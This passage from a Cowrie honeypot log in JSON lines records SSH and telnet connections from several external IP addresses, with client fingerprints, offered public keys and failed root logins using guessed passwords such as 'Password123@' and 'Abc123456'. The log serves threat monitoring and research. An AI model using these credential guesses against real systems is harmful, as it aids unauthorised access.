":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:02.023234Z","src_ip":"102.88.137.145","session":"386ab9b09479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cms","message":"login attempt [root/cms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:02.778846Z","src_ip":"102.88.137.145","session":"386ab9b09479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:03.964571Z","src_ip":"102.88.137.145","session":"386ab9b09479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40278,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad85bc6aee7","protocol":"telnet","message":"New connection: 192.119.13.58:40278 (10.17.0.5:23) [session: 4ad85bc6aee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:17.393926Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ba61984c05","protocol":"telnet","message":"New connection: 192.119.13.58:54236 (10.17.0.5:23) [session: 56ba61984c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:21.301436Z"}
{"eventid":"cowrie.session.closed","duration":44.870420932769775,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:21.556533Z","src_ip":"192.119.13.58","session":"e4b7df93c5cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.386903524398804,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:24.780661Z","src_ip":"192.119.13.58","session":"4ad85bc6aee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.06268644332886,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:25.767785Z","src_ip":"192.119.13.58","session":"03a480f7674f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":39362,"dst_ip":"10.17.0.5","dst_port":22,"session":"add5f8aa70d8","protocol":"ssh","message":"New connection: 43.156.39.221:39362 (10.17.0.5:22) [session: add5f8aa70d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:28.011313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:28.025240Z","src_ip":"43.156.39.221","session":"add5f8aa70d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:28.263838Z","src_ip":"43.156.39.221","session":"add5f8aa70d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":17664,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d891830ee6","protocol":"ssh","message":"New connection: 89.110.87.138:17664 (10.17.0.5:22) [session: 94d891830ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:29.164357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:29.171278Z","src_ip":"89.110.87.138","session":"94d891830ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chinayixun","message":"login attempt [root/chinayixun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:29.248522Z","src_ip":"43.156.39.221","session":"add5f8aa70d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:29.286947Z","src_ip":"89.110.87.138","session":"94d891830ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123@","message":"login attempt [root/Password123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:29.783507Z","src_ip":"89.110.87.138","session":"94d891830ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:30.493731Z","src_ip":"43.156.39.221","session":"add5f8aa70d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:30.901243Z","src_ip":"89.110.87.138","session":"94d891830ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.11.57.172","src_port":46048,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59472d40b34","protocol":"ssh","message":"New connection: 45.11.57.172:46048 (10.17.0.5:22) [session: f59472d40b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:41.877029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:41.882842Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.025040Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:ae:18:b0:48:c2:b2:aa:df:9b:a8:cd:12:3c:bb:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ77kv1CTU3myxuypuFBOnXRincsz3Uri+gRW2sjB0FMRR3+7jMH6RwNCCFGqsTzJOa/FfNzv/aHMLMHZDwmcGoomFsrK02hOz2GLVQdFhDEFlJKvmq0zPDVHfauBzkUMIfKUCX9y6icWgpa/8NYPlWY+tpiOP2ez3z1YyDziZRjBpqErc/GtgxFEBPhhRrI8rSWHfNc9eh3FLS3f87I5eFfBaqZGXdgH30b47a0iVNcISGWLYpW8EoRSw9IAwEydK5XeIKiUaw/dMyaMnqXegVA6jO1NgHpopHWWH4r68I8DOmQymJ6XEflFuDugdKJ+mDnabEfy+GrrR8AxGtxBH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:ae:18:b0:48:c2:b2:aa:df:9b:a8:cd:12:3c:bb:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.668583Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:ae:18:b0:48:c2:b2:aa:df:9b:a8:cd:12:3c:bb:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ77kv1CTU3myxuypuFBOnXRincsz3Uri+gRW2sjB0FMRR3+7jMH6RwNCCFGqsTzJOa/FfNzv/aHMLMHZDwmcGoomFsrK02hOz2GLVQdFhDEFlJKvmq0zPDVHfauBzkUMIfKUCX9y6icWgpa/8NYPlWY+tpiOP2ez3z1YyDziZRjBpqErc/GtgxFEBPhhRrI8rSWHfNc9eh3FLS3f87I5eFfBaqZGXdgH30b47a0iVNcISGWLYpW8EoRSw9IAwEydK5XeIKiUaw/dMyaMnqXegVA6jO1NgHpopHWWH4r68I8DOmQymJ6XEflFuDugdKJ+mDnabEfy+GrrR8AxGtxBH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.672638Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:6e:51:cd:a6:3f:44:07:61:cf:a4:54:0d:54:d2:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKPO/k4odDIQjiPRzoEGFz7yUSFUZt3mLTaWWWvP2jodvkyVGaSTE3iFdzC9hLCSQ1cIeUjf9ex7Tjqsusi5ffPHr83alJMXXRfFHDuYNUg+hHFrlwnuIrgC3DZt61NEhZ2fF5Oxx7wykiQT2b7C3sFLeLw0ODtBZdi/3MLL/LQJv2wfWusL9IkUfJx9QnH4bFryLsrwACLXK8fOG7HlLVWIzuUT3PC2w5p9OGqszydHCPEmWJjeUS4G/LUZge300rjWU5EBgGArgGJ9tb5OKExG/6Jxoc9tBcy5xWGRgbsuDnKGBM5HukYqJ/H2AzG+Lye7rN4FxIMBmmLKhlWoOv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:6e:51:cd:a6:3f:44:07:61:cf:a4:54:0d:54:d2:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.806916Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:6e:51:cd:a6:3f:44:07:61:cf:a4:54:0d:54:d2:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKPO/k4odDIQjiPRzoEGFz7yUSFUZt3mLTaWWWvP2jodvkyVGaSTE3iFdzC9hLCSQ1cIeUjf9ex7Tjqsusi5ffPHr83alJMXXRfFHDuYNUg+hHFrlwnuIrgC3DZt61NEhZ2fF5Oxx7wykiQT2b7C3sFLeLw0ODtBZdi/3MLL/LQJv2wfWusL9IkUfJx9QnH4bFryLsrwACLXK8fOG7HlLVWIzuUT3PC2w5p9OGqszydHCPEmWJjeUS4G/LUZge300rjWU5EBgGArgGJ9tb5OKExG/6Jxoc9tBcy5xWGRgbsuDnKGBM5HukYqJ/H2AzG+Lye7rN4FxIMBmmLKhlWoOv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.810786Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:5a:41:f6:da:3f:11:41:e3:ca:64:ea:86:66:09:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uMcPEWdzjsJveLZ7Cyo6cvb8cRvK8Mp8EfLo87tyGZUaydoNmIHLB1THa8QpEnezTSbf6DaERE4+RPWJHilTLKC54wMfbB1tt8MU0rTOj4mKB427V4V+zfNSfo7Y5tw0CKsY4nusxYf6OtTBjXzjD8ifPwxMzftkER8iatVR12KWCP4vyZAnN6Nuhg5Zw4SnybGBUOHWJZ8K6ZJHE8J95+D1nGnhbxBjEsCm5WGmcYq6plVygXb60hbFnIvZiCKsoecKXUzeTiUNCaLBw1WUWgW507YI5RvDzLALmqp04CmNX8xvN0L4ruvdFJCS4bzMBbSmeC1j2Nmnx2sJ7hvN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:5a:41:f6:da:3f:11:41:e3:ca:64:ea:86:66:09:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.944654Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:5a:41:f6:da:3f:11:41:e3:ca:64:ea:86:66:09:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uMcPEWdzjsJveLZ7Cyo6cvb8cRvK8Mp8EfLo87tyGZUaydoNmIHLB1THa8QpEnezTSbf6DaERE4+RPWJHilTLKC54wMfbB1tt8MU0rTOj4mKB427V4V+zfNSfo7Y5tw0CKsY4nusxYf6OtTBjXzjD8ifPwxMzftkER8iatVR12KWCP4vyZAnN6Nuhg5Zw4SnybGBUOHWJZ8K6ZJHE8J95+D1nGnhbxBjEsCm5WGmcYq6plVygXb60hbFnIvZiCKsoecKXUzeTiUNCaLBw1WUWgW507YI5RvDzLALmqp04CmNX8xvN0L4ruvdFJCS4bzMBbSmeC1j2Nmnx2sJ7hvN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:42.949546Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:29:71:7a:eb:06:d3:a0:48:95:0d:8c:03:82:0c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFoTYpJfB/CZ54g/PFdokkJNZEX8G+V8E05dvpctrbdXfFv7utInx0qGs1UPz76jinwObousClP2uqvtIOSJZl+slqOzop+oTuMdB7XdXsHyxNwgiN0LHtMEev7vK0W1CC+1R6stRu1ys97iJJJQfTg+ylQvWX/PLav86DKnbnREGvLMHO45pF1ZK6DS2J6nPopAJYyMTDZX7ge54QdEUZ14m8dy2O81hTcY9n7eWyDU9kHTES6iKOtBo4e+bphYsJBipHwFRX5IhVyGIJE/Kd3Kr1DZQId6K0FLLJK3oW4gYbHssQ4L4ABSxQs7F0rzWiylPcHAr25ZKadr3SsqDr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:29:71:7a:eb:06:d3:a0:48:95:0d:8c:03:82:0c:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:43.083950Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:29:71:7a:eb:06:d3:a0:48:95:0d:8c:03:82:0c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFoTYpJfB/CZ54g/PFdokkJNZEX8G+V8E05dvpctrbdXfFv7utInx0qGs1UPz76jinwObousClP2uqvtIOSJZl+slqOzop+oTuMdB7XdXsHyxNwgiN0LHtMEev7vK0W1CC+1R6stRu1ys97iJJJQfTg+ylQvWX/PLav86DKnbnREGvLMHO45pF1ZK6DS2J6nPopAJYyMTDZX7ge54QdEUZ14m8dy2O81hTcY9n7eWyDU9kHTES6iKOtBo4e+bphYsJBipHwFRX5IhVyGIJE/Kd3Kr1DZQId6K0FLLJK3oW4gYbHssQ4L4ABSxQs7F0rzWiylPcHAr25ZKadr3SsqDr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:43.088970Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:0b:64:94:db:fc:09:11:27:97:a1:90:01:62:a2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5+//+iUAZp48XOfeEcFZJD3J6ieEDAebg0N6qGyZ/VnX/1XasC6MiZNoNfWHU8GoSI5BckYQcwrpsiiQqvJNpcW/14gZEsh8Pye6Cji5FvAyeVTvW6hvSD7ya7m3IubiNZbY92tXKeiAGceZwKS7hDFTke1d9n23TuVASdeWbO00CpoVjCSteF6e0BF/Dsrjs9DQfJGnkiTem0goTWX1mI2RZXNlB8PFB7EnQDKI4Jpj+NZY7Qzy0lVL7CH4lcVamD1iP/I9D25Gq9Amr+A7+TkRBaLvywTmUlYoTGV7FeWL8HGeNnobVNGqZzG2psx0K67bZG22WL/E4I0XMUAQH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:0b:64:94:db:fc:09:11:27:97:a1:90:01:62:a2:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:43.233191Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:0b:64:94:db:fc:09:11:27:97:a1:90:01:62:a2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5+//+iUAZp48XOfeEcFZJD3J6ieEDAebg0N6qGyZ/VnX/1XasC6MiZNoNfWHU8GoSI5BckYQcwrpsiiQqvJNpcW/14gZEsh8Pye6Cji5FvAyeVTvW6hvSD7ya7m3IubiNZbY92tXKeiAGceZwKS7hDFTke1d9n23TuVASdeWbO00CpoVjCSteF6e0BF/Dsrjs9DQfJGnkiTem0goTWX1mI2RZXNlB8PFB7EnQDKI4Jpj+NZY7Qzy0lVL7CH4lcVamD1iP/I9D25Gq9Amr+A7+TkRBaLvywTmUlYoTGV7FeWL8HGeNnobVNGqZzG2psx0K67bZG22WL/E4I0XMUAQH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:43.237045Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:43.374152Z","src_ip":"45.11.57.172","session":"f59472d40b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.243435859680176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:55.544767Z","src_ip":"192.119.13.58","session":"56ba61984c05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":58387,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec96db7144f","protocol":"ssh","message":"New connection: 103.219.170.37:58387 (159.203.135.109:22) [session: 4ec96db7144f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:59.159416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:59.169571Z","src_ip":"103.219.170.37","session":"4ec96db7144f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:59.255347Z","src_ip":"103.219.170.37","session":"4ec96db7144f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:15:59.505239Z","src_ip":"103.219.170.37","session":"4ec96db7144f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:00.590144Z","src_ip":"103.219.170.37","session":"4ec96db7144f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d92c527068f","protocol":"telnet","message":"New connection: 192.119.13.58:57066 (10.17.0.5:23) [session: 3d92c527068f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:14.407364Z"}
